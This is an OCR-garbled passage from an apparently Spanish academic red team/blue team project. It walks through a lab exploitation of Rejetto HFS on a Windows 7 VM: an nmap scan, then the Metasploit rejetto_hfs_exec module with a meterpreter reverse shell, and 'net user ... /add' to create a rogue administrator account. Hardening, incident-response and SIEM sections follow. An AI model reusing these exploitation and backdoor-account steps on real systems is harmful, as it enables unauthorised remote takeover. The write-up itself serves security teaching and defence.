LHOST
LPORT

Fuente: El autor
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Figura 29. Explotacion de la vulnerabilidad

System
Domai

Fuente: El autor

Figura 30. Creacién de usuario desde meterpreter y comando Shell para abrir cmd del equipo atacado

Computer
05
Architecture
System Language :
Domain ROUP
ed On Users
x64 /windows

ir holal
mandao

uario de

Administ
[TETET o Xs]
Se ha completado el comando correctamente.

“Usershusuario\Downloads>f]
Fuente: El autor
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5.9. DATOS ANEXO 4 — ESCENARIO 3 QUE APOYARON EL DESCUBRIMIENTO
DEL FALLO

De acuerdo a la informacion recopilada en el anexo 4 del escenario 3 se puede

establecer que el equipo involucrado cuenta con un sistema operativo:

Windows 7 X64: Esta version de Windows salié al mercado en 2009, el soporte del
proveedor finalizé en 2015 y la extension del soporte termind en 2020; esta situacion
hace que este sistema operativo se convierta en un vector de ataque ya que al no
incluir soporte del software esta obsolescencia puede traer consigo descubrimiento de

nuevas vulnerabilidades y exploits exitosos.

De igual manera se especifica la existencia de una aplicacion instalada en la maquina

gue esta presentando fugas de informacion:

Aplicacion Rejetto: Al validar informacion en la web sobre esta aplicacion se puede
establecer que esta se relaciona con vulnerabilidades que permiten que atacantes por
medio de una reverse Shell acceder y controlar remotamente al equipo, lo que puede

facilitar entre otros una escalada de privilegios.

Figura 31. Vulnerabilidades Rejetto HTTP File

Fecha de publicacidn - * Base- + Temp+ = Vulnerabilidad (Oday- * Today-* Exp-+ Con-+ CTl-+ CVE
201410409 Rejetto HTTP File Server escalada de privilegios wew Sogn IR cvea0147226
20141047 Rejetto HTTP File Server parserLib pas findMacromarker | soose | s | SN N IEE cve2046287

escalada de privilegios

Fuente: https://vuldb.com/es/?product.rejetto:http_file_server Figura 2. Vulnerabilidades Rejetto HTTP File
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Figura 32. Informacion Rejetto incibe - cert

s incib t - s - e .- o @
p:S In:l e—:er — Alerta Incidentes Servicios Publicaciones Sobre INCIBE-CERT

Descripcion

rejetto HFS (también se conoce como HTTP File Server) version v2.3m Build #300, cuando se utilizan archivos o carpetas virtuales, permite a atacantes remotos
desencadenar una violacion de acceso de escritura de puntero no vélido por medio de peticiones HTTP concurrentes con un URI largo o encabezados HTTP
larg

Impacto
Vector de acceso: A través de red
Complejidad de Acceso: Baja

Autenticacién: No requerida para explotarla

Tipo de impacto: No hay impacto en la integridad del sistema + No hay impacto en la confidencialidad del sistema + Afecta parcialmente a la disponibilidad del
sistema
Productos y versiones vulnerables

+ cpe:2.3:arrejettohttp_file_server:2.3m:* R

Fuente: https://www.incibe- cert es/alerta temprana/vulnerabilidades/cve-2020-13432

Y se habla de la investigacion de un posible ataque de:

Escalada de privilegios:

Este evento se presenta cuando un atacante explota fallos o debilidades de
aplicaciones o sistemas, con esto logra acceder a permisos de acceso amplios que de
ninguna manera deberia tener; estos accesos le pueden permitir ingreso a algunas
areas restringidas que podrian contener informacion sensible o disponible para ser

sustraida. Se conoce también como elevacion de privilegios.

5.10. HERRAMIENTAS UTILIZADAS PARA IDENTIFICAR FALLOS EN EL EQUIPO
DE WINDOWS 7 Y PUERTO ABIERTO POR APLICACION

En primera instancia para realizar la identificacion de los fallos en la maquina atacada
para este ejercicio fueron necesarias las siguientes herramientas desde el equipo Kali

Linux en donde se desarrollo el ataque:

Nmap: Permitio realizar el escaneo de puertos del equipo para establecer aspectos
como: puertos abiertos, estado del servicio, identifica la version y el puerto por el cual
esta abierto la aplicacion, sistema operativo e informacion del equipo.

Esta herramienta descubre que la aplicacién rejetto 2.3 abre el puerto 80.
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Legion: Esta herramienta permitio realizar un andlisis de las vulnerabilidades
presentes en el equipo y puerto 80, arroja una serie de informacién como cédigos de
vulnerabilidad que permiten documentarse frente a la consistencia y explotabilidad de
las mismas.

Exploitdb: Esta herramienta permite realizar la consulta de la informacion del codigo
de vulnerabilidad que arrojo Legion, se despliegan datos de la criticidad, explotabilidad,
exploit, impacto, vectores de ataque, etc. Adicionalmente alli se ubicé la informacién de
metasploit y el ID que define el comando a utilizar para realizar la explotacion de dicha
vulnerabilidad.

Metasploit: En este modulo se ejecuta el comando que encontramos en Exploitdb, se
cargan las opciones del modulo y se inicializan las variables con informacion de la
maquina atacante y el equipo a atacar para gestionar la comunicacion entre las
maquinas que garantice el éxito del ataque y se lanza el comando que ejecuta el
ataque, se consigue el ingreso al equipo y se procede a ejecutar la creacion de usuario

administrador.

5.11. COMO AFECTA EL ATAQUE A LA MAQUINA WINDOWS 7 X 64

Este ataque permite que el usuario atacante por medio de la identificacion de puertos
abiertos e informacion que arroja el escaneo realizado obtenga datos de la
vulnerabilidad identificada en el puerto 80 con la aplicacion rejetto; con esta informacion
accede al equipo victima remotamente utilizando lo investigado y explotando la
vulnerabilidad. Ya dentro de la maquina a atacar se crea un usuario administrador,
desde el meterpreter ejecutando el comando Shell. Ya con esta actividad realizada
puede ejecutar diferentes acciones (borrar usuarios, crear cuentas, acceder a la
informacion del equipo, tener privilegios de administrador para realizar cualquier tarea).
Es un ataque de alto impacto ya que puede tomar todo el control de la maquina y
adicionalmente acceder a privilegios restringidos para usuarios diferentes al propietario

de la misma.
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Figura 33. Explicacion del ataque de escalada de privilegios realizado

maquina Kali puede tomar
control total al crear el

usuario administrador en el
equipo victima este ataque

puede acceder a toda la
informacidn y privilegios.

192.168.11
Puerta de enlace

192.168.1.15
kali - Equipo atacante

..

192.168.1.9
Win 7-SE2020

Fuente: Construccion propia autor

5.12. PASOS DE EJECUCION PARA EXPLOTACION DE VULNERABILIDAD

5.12.1. Configuracion de red

Figura 34. Windows 7 X 64

UG UL UL pm| ‘3 j=| B » usuano » Uescargas » - |+,II Buscar Des

EA Administrador: C:\Windows'\system32\cmd.exe EI@

Microsoft Windows [Uersion 6.1.76811

Copyright <{c> 2889 Microszoft Corporation. Reservados todos los derechos. : E
C:sUzerstuusunarioripconfig -
Configuracion IP de Windows 1

Ndaptador de Ethernet Conexidén de Area local:

SuflJo DHS eﬂpec1f1co para la conexlon H

Uinculo: direccidn IPuvb local. . f H 9ce4 4333 P8928:x11
Direccidn IPu4 - H

Mascara de subred H 255 255 a

Puerta de enlace predeterminada H -168.1.1

fAdaptador de tidnel isatap.{SBEBBED2—-?B84-4799-BEB3-D289D73C246@>:

Estade de los medios. . . . . . . . . . . i medios desconectados
Sufijo DNS especifico para la conexidén. . :

C:sUserssusuario?>

Fuente: El autor
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Figura 35. Kali Linux

o kali@kali: ~

File Actions Edit View Help

collisions @

Fuente: El autor

5.12.2. Usando la herramienta metasploit

a. Utilizacién de nmap dentro de metasploit para identificar los puertos abiertos en

la maquina atacada se realiza con el comando db_nmap —-v —A 192.168.1.7

Figura 36. Nmap en metasploit db_nmap-v-A ip

Fuente: El autor

b. Como resultado se pueden identificar los puertos abiertos

Figura 37. Identificacion puertos abiertos nmap

Nmap :

Nmap :

Nmap:

Nmap :

Nmap:

Nmap :

Nmap . 1.
Nmap sed (10@@
Nmap i i

Nmap

Nmap

Fuente: El autor

50



C. Se identifica el puerto abierto por el programa HTTP File server de rejetto, puerto
80.

Figura 38. Identificacion puertos 80, servicios y versiones

Nmap: Not shown: 987 closed ports

Nmap: PORT STATE SERVICE VERSION

N 80/tcp open http HttpFil

Nm | _http-favicon: Unknown favicon MD5: 759 LEFBEG 877D27153CB1
Nmap: http-methods:

Nmap: Supported Methods: GET HEAD POST

Nmap: |_http-server-header: HFS 2.3k

Nmap: |_http-title: HFS /

Nmap: 135/tcp open msrpc Microsoft Windows RPC

Nmap: 139/tcp open netbios-ssn Microsoft Windows netbios-ssn

Nmap: 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Nmap: 554/tcp open rtsp?

Nmap: 2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Nmap: 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Nmap: \_http-server—header: Microsoft-HTTPAPI/2.0

Nmap: |_http-title: Service Unavailable

Nmap: 10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Nmap: |_http-server-header: Microsoft-HTTPAPI/2.0

Nmap: |_http-title: Not Found

Nmap: 49152/tcp open msrpc Microsoft Windows RPC

Nmap: 49153/tcp open msrpc Microsoft Windows RPC

Nmap: 49154/tcp open msrpc Microsoft Windows RPC

Nmap: 49155/tcp open msrpc Microsoft Windows RPC

Nmap: 49156/tcp open msrpc Microsoft Windows RPC

Nmap: Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows
Nmap: Host script results:

Fuente: El autor

d. Se identifica la informaciéon del PC atacado

Figura 39. Identificacion informacion PC atacado
S: Windows; CPE: cpe :microsoft:windows

: 1s
NetBIOS 0e B:c@ ( Virtua

1 (Windows 7 Pro
::spl:professional

Fuente: El autor
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e. Con el comando services se identifica que el servicio del puerto 80 del programa

Http File Server se encuentra activo

Figura 40. Comando services

msf6 > services

proto name state info

tep http open  HttpFile " httpd 2.3k

tcp  msrpc open  Microsoft Windows RPC

tcp  netbios-ssn open  Microsoft Windows netbios-ssn

tcp  microsoft-ds open Windows 7 Professional 7601 Service Pack 1 microsoft-ds workgroup: WORKGROUP
tcp  rtsp open

tcp  http open Microsoft HTTPAPI httpd 2
tcp  http open  Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
2

.0 SSDP/uUPnP

tcp  http open  Microsoft HTTPAPI httpd
tcp  msrpc open  Microsoft Windows RPC
tcp  msrpc open  Microsoft Windows RPC
tcp  msrpc open  Microsoft Windows RPC
tcp  msrpc open  Microsoft Windows RPC
tcp  msrpc open  Microsoft Windows RPC

.0 SSDP/uUPnP

Fuente: El autor

f. Validar informacién de las vulnerabilidades en el puerto 80 que genera el

programa Http File Server con la herramienta Legion

Figura 41. Consulta vulnerabilidades en Legion

LEGION 0.3.7-1596220187 - untitled - fusr/share/legion/
File Help

Scan | Brute

Hosts | Services | »\ services | Scripts | Information = CVEs | Notes = screenshot(80jtcp) B smbenum (445ftcp) 1 smbenum (445ftcp) (9 screenshot (80jtcp) (¥ screenshot (2869/tcp) ¥ | screenshot (5357tcp) (B | |1

05 Host Script Port
168.1.7 (... cpesfarejettohttpfileserver.2.3k:
© 152168170 |ty serverheader 80fkcp T D sess 100 https:ffvulners.com/zdt/1337DAID-35849 SEXPLOIT
| ” 1337DAVID-22640 75 https:jvulners. com/adt/1 337DAYID-22640 “EXPLOIT*
PR ficp MSFEXPLOITMWINDOWS/HTTPIREJETTO_HFS_EXEC 75 htips:/fvulners. com/metasploit/MSF-EXPLOIT/WINDOWS/HTTR!
REJETTO_HFS_EXEC “EXPLOMT*
http-server-header 5357 /tcp EXPLOITPACK:AGES1 CB0GASABG562CCD5A2 35ECDEL3 15 hitps:/jvulners.comjexploitpack/
EXPLOITPACK:AGE5 1CB06A5AB6562CCD5A235ECDEL3 *EXPLOIT*
htip-serverheader 10243ftcp PACKETSTORM: 126243 75 httpsy/ivulners.com/packetstorm/PACKETSTORM:128243 SEXPLOITH
PACKETSTORM: 128593 75 https:jvulners.compacketstorm/PACKETSTORM:128593 “EXPLOIT*
PACKETSTORM: 135122 75 hitps:jvulners.comjpacketstorm/PACKETSTORM:135122 SEXPLOIT*
EXPLOITPACK:A30709063C426406F9B4EB8525608BFF 15 https:/jvulners.comjexploitpack/
EXPLOITPACK:A39709063C426496F9B4E8852560BBFF “EXPLOIT*
PACKETSTORM: 160264 75 hitps:jvulners.comjpacketstorm/PACKETSTORM:160264 SEXPLOIT*
PACKETSTORM: 161503 75 hitps:jvulners.comjpacketstorm/PACKETSTORM:161503 SEXPLOIT*
EDB-ID:49584 15 https:/ivulners.com/exploitdb/EDB-ID:49584 *EXPLOIT*
EDB-ID:39161 15 https:jvulners. comexploitdb/EDB-ID: 39161 *EXPLOIT*
1337DAHD-25379 75 https:/jvulners.com/adt/L 337DAVID-25379 SEXPLOIT*
1337DAVD-22733 75 hitps:jvulners.com/adt/1337DAVID-22733 “EXPLOIT*
EDB-ID:49125 15 https:/ivulners.com/exploitdb/EDB-ID:49125 EXPLOIT*
SECURITYVULNS:VULN:14023 75 https:/vulners.com/securityvulns/SECURITYVULNS:VULN: 14023
EDB-ID:34926 15 https:jvulners. comjexploitdb/EDB-ID: 34926 SEXPLOIT
EDB-ID:34668 75 https:/jvulners. comjexploitdb/EDB-ID: 34668 SEXPLOIT*
1337DAVID-6287 0.0 hitps:jvulners. comyat/1 337DAVAD-6287 “EXPLOIT*
L} »
\ % 0 { b

Fuente: El autor
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g. Se busca la informacion de la vulnerabilidad EDB-1D:49584 que aparece dentro

de las vulnerabilidades arrojadas por legion

Figura 42. Informacion vulnerabilidad EDB-ID: 49584

& C @ vulnerscom,

DATABASE PRODUCTS v PRICING STATS BLOG DOCS CONTACTS GET STARTED

* HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) @@tlre wvss 7.5

ID EDB-ID:49584

Type exploitdb

Reporter Exploit-DB

Modified 2021-02-23 00:00:00

Cvssva

| Attack Complexity: LOW | | Confidentiality Impact: HIGH |
| Attack Vector: NETWORK | ( Integrity Impact HIGH |

| Scope: UNCHANGED | [ Availability Impact HIGI»I )

AVIN/AC.L/PRINJULN/S.U/CH/IH/AH

Description

Fuente: El autor

h. Informacion relacionada con la forma de explotar la vulnerabilidad en metasploit,

comando a ejecutar en el mddulo indicado.

Figura 43. Indicacién para explotar vulnerabilidad metasploit

@ metasploit
metasploit

Rejetto HttpFileServer Remote
Command Execution
Z014-10-08T1E

DATABASE PRODUCTS ~ PRICING STATS BLOG DOCS CONTACTS GET STARTED

Rejetto HttpFileServer Remote Command Execution ml cvss
@ Ceormresen @ONG ws 7.5
@74
ID MSF.EXPLOIT/WINDOWS/HTTP/REJETTO_HFS_EXEC
Type metasploit

Reporter Rapid7
Modified 2020-10-02 20:00:37

CVSSv3

( attack complexity: Low ) “Confidentiality Impact: HIGH )
( Attack Vector: NETWORK ) ( integrity Impact: HIGH )

( Scope: UNCHANGED “avallability Impact: HIGH

AVIN/ACIL/PRIN/UEN/S:U/CH/IIH/AH
Description
Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module

exploits the HFS scripting commands by using ‘%00’ to bypass the filtering. This madule has been tested successfully on HFS 2.3b over
Windows XP SP3, Windows 7 SP1 and Windows 8

Fuente: El autor
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I Se busca el médulo de metasploit para atacar las vulnerabilidades encontradas

Figura 44. Médulo metasploit para el ataque

Disclosure Date Rank Check Description

-09-11 excellent Ye Rejetto Httpri ver Remote Command Exe

Fuente: El autor

J- Se carga y revisan las opciones del modulo con la informacion del exploit

encontrada
Figura 45. Cargue opciones maédulo exploit encotrado

ndows/meterpreter/reverse_tep
) > options

Module options (exploit/windows/http/r

Name Current Setting Reguired Description

HTTPDELAY

et port (TCP)
| host or network int
cal port to listen on.

SSLCert ath to a cus fics efault 1s randomly
TARGETURT / The path of t i

URTPATH The URL to use h it (default is random)
VHOST er virtual host

d options (windows/meterpreter/r e_tep):

Name Current Setting Required Description

EXITFUNC e nique ( : "', seh, thread, process, none)
LHOST [ Wb e listen address (an interface may be specified)
LPORT ]

Fuente: El autor
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k. Iniciar las variables del equipo que va a ser atacado

Figura 46. Inicializacién de variables equipo a atacar

msf6 exploit(

RHOSTS = 192.168.1.7

El autor

l. Se inician las variables del equipo atacante, se utiliza un puerto que no se esté
utilizando para entablar la conexién con la maquina atacada
Figura 47. Inicializacién variables equipo atacante

msfe exploit(
192.168.1.15

Fuente: El autor

m. Las opciones del modulo cargadas se validan con la instruccion options

Figura 48. Instruccién options
oit( ) > options
Module options (exploit/windows/http/rejetto_hfs

Name Curr
HTTPDELAY 10
Proxies L]

file with syntax 'file:cpath>’

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC pr
LHOST 9

@ Automatic

Fuente: El autor
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n. Se ejecuta la vulnerabilidad

Figura 49. Ejecucion de la vulnerabilidad

msté exploit(

{pgLip639m
CKpgLjp639m

) to 192.168.1.7
%TEMPX\MbZBT: 5, unknown result
r session 1 opened (192.168.1.15:4444 — 192.168.1.7:49 ] at 09-2¢ H 0 -0400

er stopped.

meterpreter » sysinfo
Computer

0s

Architecture

Fuente: El autor

0. Se crea el usuario administrador, desde el meterpreter se ejecuta el comando

Shell para abrir el cmd del equipo atacado.

Figura 50. Meterpreter creacién usuario administrador

Computer :

0s : 7 ce Pack 1).
hitectur

System Lang

Domain

created.
indows [Versi®n 6.1
c) Micr Ft ation. Reservados todos los derechos.

o\Downloads>net user adrianasalazar hola /add

lgroup administradores adr
mpletado el comando corr

Users\usuario\Downloads>]]

Fuente: El autor
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Figura 51. Meterpreter creacion usuario administrador

Fuente: El autor

p. En el equipo atacado se puede ver la cuenta creada

Figura 52. Usuario creado en equipo atacado

ﬁ Win7-SE2020-464 [Comienda] - Oracle VM VirtualBox
Archivo  Maquna Ver fntrada Dispostives  Ayuda

3‘ Administracion de equipos ‘E”EHE|
Archivo Accion Ve Ayuda
L3kt JEEN |
& Administracian del equipo (lod | Nombre Momhra romnletn Daserincian Han-iones
4 |} Hemamientes delsstem ¥, Administradar Propiedades: adrianasalazar @ Lrios a
¥ b @ Programador de tareas EJ dianaal
=E]V\sordeever1tus e Genersl | Membode | e Acciones adicionales  }
- Canet i & HomeGrouplsers
o Carp ‘ascumpa idas Einitado e e Lnacdazar .
4 & Usuariosy grupos localy| = -
7 Usaros E usuario & pdnistracores Acciones adicionales ¥
1 Grugos 2 Usaios

) \@\ Rendimiento
i) Administrador de dispo
4 (% Almacenamiento
& Administracion de discy
) f;_, Servicios y Aplicaciones

Cuglauier cambio en la pertenencia a gupos
e Usuarios no Ui efecto hasta que &l
UsUario inicie sesidn de nuevo

[ Apeptar H Cancelar ] Aplicar l Fyuda I

Fuente: El autor
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5.13. ACTIVIDADES E INDAGACIONES A REALIZAR EN CASO DE
ENFRENTARSE A UN ATAQUE EN TIEMPO REAL - ARGUMENTOS TECNICOS.

De acuerdo al Instituto Nacional de Estandares y Tecnologia NIST® en su guia de
manejo de incidentes, establece que con frecuencia las violaciones de seguridad ponen
en juego informacién personal y comercial por lo cual es prioritario tener opciones de
respuestas rapidas y eficientes durante la identificacion de estos ataques. De este tipo
de situaciones nace la necesidad de tener establecidos procedimientos de respuesta a
incidentes de seguridad; es decir: una metodologia que permita de forma sistémica
responder y manejar los incidentes en forma consistente para tomar las decisiones y
acciones que mas se apropien a los tipos de eventos enfrentados. Esta practica ayuda
a minimizar las perdidas, robo de informacion y la interrupcion de servicios que se
pueden ocasionar por los incidentes; también trae como beneficio la capacidad de
valerse de la informacién que se obtiene durante el manejo del incidente para utilizar
posteriormente en el manejo de los mismos. Teniendo en cuenta lo anterior es
fundamental dentro de los procedimientos de tratamiento de incidentes de seguridad
definir una estrategia que facilite la toma de decisiones de forma oportuna de manera
gue evite la propagacion y disminuya dafios de los recursos de Tl y afectacion en la

integridad, confidencialidad o disponibilidad de la informacion.

Figura 53. Estrategia de contencion de incidentes

Acceso no autorizado Sucesivos intentos fallidos de login Bloqueo de cuenta
Codigo Malicioso Infeccidon con virus Desconexion de la red del equipo afectado

Fuente: El autor, basado en Seguridad y privacidad de la Informacion: Guia para la Gestion y Clasificacion de
Incidentes de Seguridad de la informacion. MINTIC.2018. Disponible en:
https://www.mintic.gov.co/gestionti/615/articles-5482 G21 Gestion Incidentes.pdf. Pg. 21.

3 Computer Securitylncident Handling Guide: Recommendations of the National Institute of Standards and Technology. National

Institute of Standards and Technology (NIST). U.S. Department of Commerce.2012. Special Publication 800-61 Revision 2. Pg. 6.


https://www.mintic.gov.co/gestionti/615/articles-5482_G21_Gestion_Incidentes.pdf.%20Pg.%2021

Estas estrategias para contener las incidencias pueden ser variables y se deben
documentar para apoyar la gestion eficaz y rapida de las decisiones; los aspectos que
se pueden tener como base pueden ser: potencial dafio o robo de los activos,
disponibilidad de servicio, tiempo y recursos para la ejecucion de estrategias, duracién y
efectividad del procedimiento, entre otros.

Después de lograr contener el ataque se debe proceder a erradicar y recuperar; esta
fase consiste en la eliminacién de rastros del incidente y proceder a la recuperacion por
medio de restituir los sistemas 0 servicios afectados, restableciendo las funcionalidades
en los sistemas que tuvieron algun impacto y efectuar la securizacion de los sistemas

gue prevenga incidentes parecidos en el futuro.

Figura 54. Estrategia de erradicacion y recuperacion

Incidente Deteccion Erradicacion Recuperacion

DoS (denegacion de
(denegacion SYN Flood Restitucion del servicio caido Restitucion del servicio caido
servicio)
vi - lared Correccion de efectos producidos. Correccion de efectos
s Hsano eniar Restauracion de backups producides. Restauracion de

Fuente: El autor, basado en Seguridad y privacidad de la Informacion: Guia para la Gestién y Clasificacion de
Incidentes de Seguridad de la informacion. MINTIC.2018. Disponible en:
https://www.mintic.gov.co/gestionti/615/articles-5482 G21 Gestion Incidentes.pdf. Pg. 21.

Para algunos casos en estas fases de respuesta a incidentes, como son: contencion,
erradicacién y recuperacion, cuando la afectacibn es a sistemas criticos de la
organizacion puede activarse el BCP — Plan de continuidad del negocio o DRP —Plan de

recuperacion de desastres.
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5.14. DESDE EL EJERCICIO DE RED TEAM — MEDIDAS DE HARDENIZACION
PROPUESTAS PARA MITIGAR LA OCURRENCIA FUTURA DE ESTE ATAQUE.

Para mitigar la ocurrencia del ataque presentado desde el ejercicio de red team, las

medidas para securizar la infraestructura y evitar la ocurrencia en ocasiones futuras de

esta situacion, se presentan las siguientes recomendaciones:

Verificar la necesidad de apertura de puertos existentes en la infraestructura
tecnoldgica garantizando Unicamente los servicios necesarios para la funcionalidad
requerida en los equipos especificos.

Habilitar la funcionalidad del rejetto en un puerto diferente al que viene por defecto
establecido, preferiblemente arriba del puerto 4000.

Utilizar el software siempre actualizado en la ultima version, para este caso si se
requiere el software rejetto, instalar versiones actualizadas en las cuales se hayan
remediado las vulnerabilidades conocidas; esta aplicacion tiene solucionada la
vulnerabilidad explotada a partir de la version 2.3b.

Limitar la descarga e instalacion de programas Unicamente al personal
administrador, de tal manera que los usuarios finales no tengan este tipo de
privilegios y se garantice por parte del area de TI la instalacion de aplicaciones
confiables y controles compensatorios para excepciones que se presenten.

Verificar periédicamente los usuarios existentes frente a los funcionarios vigentes,
roles y perfiles asignados de acuerdo a las funciones de los cargos.

Establecer una matriz de segregacion de responsabilidades en donde se garantice
gue los usuarios administradores solo van a ser asignados al personal idéneo.
Establecer procedimientos de creacion y des habilitacion de usuarios.

Mantener las herramientas de seguridad activas y actualizadas como antivirus y
firewall en todos loe equipo disponibles en la red.

Limitar accesos a servicios de red

Inhabilitar servicios que no se utilizan o son innecesarios en los equipos de red.
Modificar el procedimiento de banner predefinido en los equipos para ocultar

informacion como versiones; esta informacion se puede personaliza de tal manera
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gue se eliminen anuncios e informacién que puede ser de utilidad para los

atacantes.

5.15. DIFERENCIAS ENTRE EQUIPO BLUE TEAM Y EQUIPO DE RESPUESTA A

INCIDENTES INFORMATICOS

Figura 55. Diferencias equipo blueteam y equipo de respuesta a incidentes

Equipo blueteam

Equipo humano que se encarga de la detencion de
ataques que pretenden intrusiones en laredy
sistemas en las empresas por parte de atacantes
reales.

Tiene como misién la correccién de
vulnerabilidades o debilidades identificadas por el
equipo rojo en sus simulaciones de ataques
controlados y atajar ataques reales.

Este equipo se especializa especialmente en el
monitoreo y refuerzo de la seguridad de la
infraestructura en la organizacion.

Fuente: Construccién propia autor

Equipo de respuesta a
incidentes informaticos

Se encargan de recibir y gestionar los posibles
incidentes de seguridad y definir el tratamiento y
acciones a llevar a cabo para la respuesta y
seguimiento.

Se encarga de establecer y llevar a cabo las
actividades relacionadas con preparacion,
deteccidn y analisis, contencion, erradicacion,
recuperacioén, seguimiento, mejora de acciones
frente a la ocurrencia de incidentes de seguridad.

Este equipo se interrelaciona con diferentes dreas
para lograr la sinergia necesaria para afrontar
posibles ataques y alimentar bases de
conocimiento que permitan establecer acciones
para endurecer la seguridad y mejorar los planes
de respuesta implemetados.

5.16. FUNCIONES DEL CIS “CENTER FOR INTERNET SECURITY” DENTRO DEL
EQUIPO DE BLUETEAM

El equipo de blueteam puede apoyarse enormemente con las herramientas que
proporciona el CIS, dentro de este equipo esta herramienta se puede utilizar para:

e Consulta y actualizacion en linea de las mejores practicas de seguridad

recomendadas por expertos a nivel del mundo.
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e Los CIS Controls pueden proporcionar guias para complementar y mapear la
seguridad protegiendo la entidad de posibles ataques cibernéticos.

e Con los CIS Benchmarks se obtiene informacién de la configuracion de seguridad
para diferentes productos de proveedores de sistemas Tl que pueden ser aplicadas
a los dispositivos que forman parte de la infraestructura organizacional.

e Si la empresa cuenta con presupuesto, se puede adquirir una membrecia CIS
SecureSuite que proporciona recursos Yy herramientas disefiadas con pautas
referentes a CIS y CIS Controls.

e MS-ISAC permite tener acceso a instrumentos Utiles para prevencion, proteccion,
respuesta y recuperacion ante posibles amenazas identificadas; este producto se

enfoca principalmente hacia organizaciones gubernamentales.

5.17. FUNCIONES Y CARACTERISTICAS PRINCIPALES DE UN SIEM

e Este sistema para gestionar eventos e informacion de seguridad se conoce como
una solucién central que engloba y centra toda gestion de seguridad y eventos; esta
tecnologia suministra analisis en linea frente a las alertas de seguridad que generan
diferentes dispositivos tanto de software como de hardware dentro de la red.

e Dentro de la recoleccion de registros de actividades o logs de los distintos
dispositivos identifica situaciones de seguridad o actividades inesperadas, atipicas o
sospechosas que pueden representar el inicio de un incidente y eliminando
resultados extrafios o falsos positivos y entregando respuestas de acuerdo a
informes y evaluaciones registradas.

e Permite visualizar facilmente el estatus de todos los mecanismos de seguridad
implementados, lo cual es util para los administradores de los sistemas de
informacion.

e Con la combinacién de las funciones que enrolan el manejo de informacion de
seguridad recopilando los registros de sucesos a largo plazo para enriquecer la

exploracion y notificacion de datos de seguridad y el sistema de tratamiento de
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situaciones relacionadas con la seguridad que se encarga de correlacionar eventos,
notificarlos y revisarlos en tiempo real.

e Sistematizacion de actividades o tareas.

e Respuesta de forma automatica de amenazas y eventos.

e Eficiencia en la identificacion de ataques.

e Gestion de evidencia rapida para la realizacion de andlisis forense.

e Seguimiento a diferentes eventos.

e Optimizacion en el manejo y tratamiento de riesgos.

e Implementacién y manejo de métricas de seguridad.

e Evaluacién de debilidades o vulnerabilidades.

e Monitoreo de comportamientos.

e |dentificacion de violaciones de seguridad

e Documentacion de registros de auditoria con eventos identificados y resolucion.

e Escalamiento al analista o administrador de eventos depurados para gestionar

acciones y tomar decisiones.

5.18. HERRAMIENTAS DE CONTENCION DE ATAQUES

Cisco FireSIGHT : Es un escaner de actividad en red, posee sensores con inteligencias
de actualizacién constante con las Ultimas alertas que permiten realizar en los sistemas
de la empresa busquedas relacionadas con codigos prohibidos o maliciosos con base
en politicas de seguridad preestablecidas. Esta herramienta también tiene médulos de
monitoreo de la conexidn de usuarios y equipos para identificar la conexion a dominios
comprometidos como bonets. Estos sensores al detectar actividades no consentidas
notifican a la consola y al motor de servicios de identidad (ISE) que se encarga de
alertar a herramientas de seguridad de la red sobre posible actividad sospechosa. En
este punto y de acuerdo a las politicas implementadas la solucién Cisco TrustSec se
encarga de aislar dispositivos sospechosos en caso de compromiso incluyéndolos en la
opcién de cuarentena o red virtual, restriccion del equipo para accesos a la red,

aplicaciones y datos.

63



Symantec Advanced Threat Protection (ATP): Esta solucidn tiene la posibilidad de
detectar y contener las amenazas por medio de puntos de control que se comunican a
una unica consola en donde se puede realizar la correlacién de actividad sospechosa
en los puntos de control, priorizando situaciones que pueden presentar mayores riesgos
para la compafiia. Cuando se identifican amenazas criticas se contienen rapidamente y
las instancias se bloquean. La herramienta correlaciona acciones posiblemente
sospechosa en todos los puestos de inspeccion y da prelacion a los sucesos que
pueden representar niveles altos de riesgo para la compafiia. Tan pronto se identifican
las amenazas con mayor criticidad se procede a contenerlas rapidamente posibilitando
el bloqueo a nuevas. Esta herramienta tiene posibilidad de identificar diferentes
amenazas como ataques de dia cero, o APT por medio de los puntos de control en la
red, correo electronico, endpoints haciendo detecciones cruzadas entre puntos de
control y busquedas en los entornos. Con los datos globales correlacionados vy
funciones de telemetria este sistema permite priorizar por importancia y contener los

endpoints y bloquear instancias en puntos de control.

Anti-Spam: Este sistema permite filtrar los mensajes de correo electrénico, el filtrado se
puede realizar tanto para correos entrantes como salientes, algunos ademas de filtrado
de contenido tienen escaneo de malware y restricciones en los tipos de archivos. Tiene
la posibilidad de definir reglas para reenviar, poner en cuarentena, estacionar, limpiar,
bloquear o eliminar cualquier informacion que pase por los servidores de acuerdo a los
analisis. Las funcionalidades incluyen filtrado de contenido en datos enviados desde los
correos corporativos que pueden prevenir temas de litigios o fuga de informacién. Tiene
un sistema de listas negras y listas blancas que permite validar los remitentes de
correos entrantes y se pueden definir distintas politicas dentro de sus reglas de

configuracion.
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RECOMENDACIONES

Para mitigar la ocurrencia de ataques dentro de la infraestructura tecnoldgica de las
organizaciones es necesario plantear estrategias que permitan prevenir, identificar,
responder, mitigar, asegurar y hacer seguimiento a los aspectos relacionados con la

seguridad en las compafias, algunas de las recomendaciones a tener en cuenta:

e Evaluar de acuerdo al tamafio de la organizacién, volumenes de informacion,
analisis de riesgos previos, incidentes de seguridad; la implementacion vy
reclutamiento de expertos especialistas que conformen los equipos redteam y
blueteam que le aporten la cuota de seguridad necesaria a la infraestructura de la
organizacion.

e Es un punto fundamental para la organizacion que los equipos de defensa blueteam
y redteam se interrelacionen y tengan una comunicacion fluida, esto puede asegurar
ejercicios de prueba exitosos y el aseguramiento frecuente de las plataformas.

e Los equipos blueteam deben actualizarse frecuentemente sobre las herramientas
gue pueden apoyar el aseguramiento de los sistemas y compartir la informacion con
el redteam para la realizacion de pruebas de ataque; de igual manera el redteam
debe actualizarse frente a las amenazas emergentes para cooperar con el blueteam
en temas de prevencion.

e Establecer politicas de seguridad conocidas y aprobadas por la alta direccion que
